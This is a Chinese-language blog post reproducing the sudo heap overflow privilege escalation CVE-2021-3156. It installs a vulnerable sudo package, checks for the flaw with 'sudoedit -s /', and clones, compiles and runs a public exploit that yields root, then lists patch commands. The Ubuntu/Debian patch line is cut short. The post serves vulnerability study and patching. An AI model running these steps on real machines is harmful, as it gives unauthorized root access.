sudo堆缓冲区溢出提权漏洞(CVE-2021-3156)

2023-11-17

0x01 漏洞描述


这个漏洞被披露于2021年1月26日。漏洞的载体是我们常用的sudo命令。当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。研究人员利用该漏洞在多个Linux发行版上成功获得了完整的root权限,包括Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2),并且sudo支持的其他操作系统和Linux发行版也很容易受到攻击。

并非所有存在漏洞的Sudo版本都能利用成功,glibc>=2.27版本漏洞利用难度较小,低版本的glibc也能利用成功,只是漏洞利用难度增加。

关于Linux中的sudoer详解 - yanling0813 - 博客园

0x02 漏洞影响


sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1

0x03 环境准备


本次复现使用的 ubuntu 版本

uname -a

查看 sudo 版本

sudo --version

判断是否存在改漏洞

sudoedit -s /

返回 usage 开头的内容,表示该漏洞已经修复

返回 sudoedit 开头的内容,表示存在该漏洞

发现此版本不存在该漏洞,于是安装旧版本的sudo

使用以下命令来获取不同版本的sudo:

apt-cache madison sudo

安装存在该漏洞的版本:

sudo apt install sudo=1.8.31-1ubuntu1

安装完成,再次输入

sudoedit -s /

返回 sudoedit 说明存在该漏洞,环境准备OK

0x04 漏洞复现


  1. 从github上克隆exp

git clone https://github.com/blasty/CVE-2021-3156.git
  1. 切换到 CVE-2021-3156 目录下,make 编译之前需要安装make、gcc组件,命令依次分别为:

sudo apt install make
sudo apt install gcc
make
  1. ls 查看到目录下已经有了 sudo-hax-me-a-sandwich

  1. 执行以下命令,查看EXP支持的系统版本

./sudo-hax-me-a-sandwich
  1. 再次执行,根据版本选择,尝试提权

sudo ./sudo-hax-me-a-sandwich 1

输入whoami ,显示root ,提权成功。

疑问:看poc中显示执行提权操作时,可以不加sudo,但是我这边不加sudo就没有用;加了sudo才能成功,不清楚是为什么。有师傅知道的话麻烦给我解答一下疑惑,谢谢师傅们。

0x05 修复方式


1、源码编译安装最新Sudo软件包,下载链接为: https://www.sudo.ws/dist/

2、各Linux发行版参照以下命令进行升级解决:

CentOS/RHEL/Oracle Linux :

sudo yum update -y sudo

SUSE :

sudo zypper update -y sudo

Ubuntu/Debian :

sudo apt-get update && sudo apt-get

0x06 参考链接


https://blog.csdn.net/qq_42947816/article/details/123332692

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sudo堆缓冲区溢出提权漏洞(CVE-2021-3156) 的相关文章

  • 每个程序员都该学习的5种开发语言,不可错过!

    每个公司都喜爱精通多种编程语言并且多才多艺的程序员 一个既能很麻利地写脚本 也能编写复杂的Java程序的程序员 确实相当有价值 所以实际上 对于高级开发者来说 学习不止一种编程语言 几乎就是必然的要求 目前而言 面试官越来越看重那些拥有多种
  • 抢小米手机K40脚本

    声明 基于 puppeteer js 仅辅助更快操作浏览器 本脚本仅供米粉购买小米系列产品 请勿充当黄牛 代码地址 https github com shunyue1320 buy xiaomi
  • 应用层 —— 电子邮件

    一 电子邮件的信息格式 二 系统结构 三 SMTP
  • Meta标签中的apple-mobile-web-app-capable属性及含义

    这meta的作用就是删除默认的苹果工具栏和菜单栏 content有两个值 yes 和 no 当我们需要显示工具栏和菜单栏时 这个行meta就不用加了 默认就是显示
  • 内置数据库

    DERBY 完全使用java 开发 可以在任何存在合适的 Java 虚拟机的地方运行 不适用于在其他编程语言内置使用 HSQLDB Java内置的数据库 非常适合在用于快速的测试和演示的Java程序中 无需独立安装数据库 HSQLDB有三种
  • 编译原理LL(1)文法之提取左公因子,消除左递归

    在判断LL 1 文法是否符合的时候 需要判断LL 1 文法是否存在左公因子 和左递归的情况 以下给出相应的判断方法以及通过提取左公因子和消除左递归使非LL 1 文法转换为LL 1 法的方法 第一种情况 存在左公因子 解决方法 提取左公因子
  • 恶魔奶爸沟通课

    01社交本质上是精力问题 1 神奇女侠式 双脚分开 与肩同宽 挺胸抬头 双手叉腰 站立120秒 让自己舒服很多 2 深呼吸 3 适度运动 每周160分钟 4 睡眠 晚上10点半睡觉 早上6点起床 5 不要久坐 坐20分钟起来走走 哪怕30秒
  • uniapp 使用uni-combox组合框实现远程搜索功能

    目录 一 绑定属性 二 js方法 一 绑定属性

随机推荐

  • 串口通信——接收串口数据并处理(C语言)

    本文主要内容包含 1 接收串口数据程序的编程逻辑示意图 2 接收串口数据程序要用到的通用函数模块 可直接引用 无需更改 3 接收串口数据程序的示例 1 接收串口数据程序的编程逻辑示意图 2 与串口有关的函数模块及数组 可直接引用到自己的程序
  • BUAA计算器(表达式计算-表达式树实现)

    问题描述 从标准输入中读入一个整数算术运算表达式 如24 1 2 36 6 2 2 12 2 2 计算表达式结果 并输出 要求 1 表达式运算符只有 表达式末尾的 字符表示表达式输入结束 表达式中可能会出现空格 2 表达式中会出现圆括号 括
  • 实战剖析 Java 秒杀系统的实现

    本场 Chat 将为您介绍 如何从 0 到 1 搭建一个分布式架构的秒杀系统 如何利用 Redis 的特性发挥它在秒杀系统中的大作用 如何利用消息队列实现请求的异步处理 带您思考实现秒杀系统过程中需要注意的点 以及需要掌握的技巧 架构介绍
  • 我与CSDN的这十年——笔耕不辍,青春热血

    1024程序员的节日就要来了 作者也挤时间写了一篇文章 我与CSDN的这十年 分享下程序猿和程序媛的故事 纪念这十年奋斗和感动的日子 十年 说长不长 说短不短 人生进度条的八分之一 都是青春 都是热血 十年 从看博客到写博客 笔耕不辍 从未
  • ubuntu密码正确,却不能登录图形界面

    传统的方法是修改 Xauthority文件权限 不过我试了没有用 后来发现我的问题是因为安装了NVIDIA cuda驱动而导致的 所以先卸载nvidia驱动 再更新 就可以正常进入了 命令 sudo apt get remove purge
  • FreeRTOS临界段

    1 临界段 在访问共享资源时不希望被其他任务或者中断打断的代码 这段要执行的代码称为临界段代码 2 设置临界段的目的 保护共享资源 例如 全局变量 公共函数 不可重入函数 函数里面使用 了一些静态全局变量 malloc 等 保护外设的实时性
  • [技术发展-28]:信息通信网大全、新的技术形态、信息通信行业高质量发展概览

    目录 前言 第1章 什么是信息与通信 第2章 为啥要编制信息与通信发展规划 第3章 信息与通信如何高质量发展 重点 3 0 发展目标 编辑 3 1 建设新型数字基础设施 3 1 1 移动通信网 无线接入层 1G到5G 3 1 2 固定宽带网
  • android 使用 ImageLoader 显示文章和图片

    android 中使用Textview 显示文章及图片 1 下载 universal image loader 1 9 5 jar 添加到app项目中 2 在android 后台 的 onCreate 方法中初始化 ImageLoader
  • 利用Unidbg辅助还原哔哩哔哩Sign算法.

    bilibili unidbg http www zhuoyue360 com crack 87 html 老色批想抓哔哩哔哩的全站数据 通过人工智能自动找出美女 色 咱们想抓它一个个人信息 抓包分析 1 android 7 0 证书配置
  • vector容器

    1 vector简介 vector 和 arry 非常相似 唯一存在的不同是 vector 是动态分配内存空间 随着元素的增加空间自动增加 但是 arry 是静态的 wector 单端动态数组容器 只允许在一端进行操作 2 vector的使
  • 力扣网题号:389找不同python 实现

    题目描述 给定两个字符串 s 和 t 它们只包含小写字母 字符串 t 由字符串 s 随机重排 然后在随机位置添加一个字母 请找出在 t 中被添加的字母 示例 输入 s abcd t abcde 输出 e 解释 e 是那个被添加的字母 一 题
  • ElementUI表单校验

    ElementUI表单校验 回忆jQuery表单校验是怎么做的 表单元素注册事件 事件绑定回调函数 在回调函数中获取用户输入的值 用js代码进行校验 用正则表达式进行校验 ElementUI校验 写校验规则 绑定校验规则
  • 扫码支付流程

    一 支付宝接入实现 1 流程 step1 用户在浏览器中访问商家网页应用 选择商品下单 确认购买 接口会调起支付宝客户端内的支付模块 此时会从商家网页应用跳转到支付宝客户端中并开始支付 支付完成后会跳转回商家网页应用内 最后商家展示支付结构
  • Redis之List类型原理和应用场景(三)

    Redis之List类型原理和应用场景 三 原理分析 由于C语言是没有list的设计 首先我们看一下普通双向链表结构 typedef struct listNode 前置节点 struct listNode prev 后置节点 struct
  • J1939协议中CAN ID 与PGN互换--遇到了广播报文

    Ref J1939 Explained A Simple Intro 2021 CSS Electronics Ref CAN 帧ID 与J1939 PGN 转换例子 horse 2007s的博客 CSDN博客 Ref 在J1939中多帧数
  • Linux下Docker安装mysql

    1 下载mysql镜像 访问 MySQL 镜像库地址 https hub docker com mysql tab tags 也可以用命令查看可用版本 docker search mysql 下载mysql镜像 默认下载最新稳定版 dock
  • C语言中putchar()函数的使用

    今天教C语言中的输入输出语句 对函数putchar 函数有些好奇 难道就只能输出char型的数据么 带着这样的疑问 在环境上进行了验证 验证结果还蛮有意思 共享一下 当我们定义一个变量a 并给a赋予0 255的值 很显然没有问题 如代码 i
  • ERP订单管理的操作与设计--开源软件诞生19

    赤龙ERP订单模块讲解 第19篇 用日志记录 开源软件 的诞生 点亮星标 祈盼着一个鼓励 博主开源地址 码云 https gitee com redragon redragon erp GitHub https github com red
  • GC算法原理

    JVM 垃圾回收原理 对于JVM的垃圾收集 GC 这是一个作为Java开发者必须了解的内容 那么 我们需要去了解哪些内容呢 其实 GC主要是解决下面的三个问题 哪些内存需要回收 什么时候回收 如何回收 回答了这三个问题 也就对于GC算法的原
  • sudo堆缓冲区溢出提权漏洞(CVE-2021-3156)

    0x01 漏洞描述 这个漏洞被披露于2021年1月26日 漏洞的载体是我们常用的sudo命令 当sudo通过 s或 i命令行选项在shell模式下运行命令时 它将在命令参数中使用反斜杠转义特殊字符 但使用 s或 i标志运行sudoedit时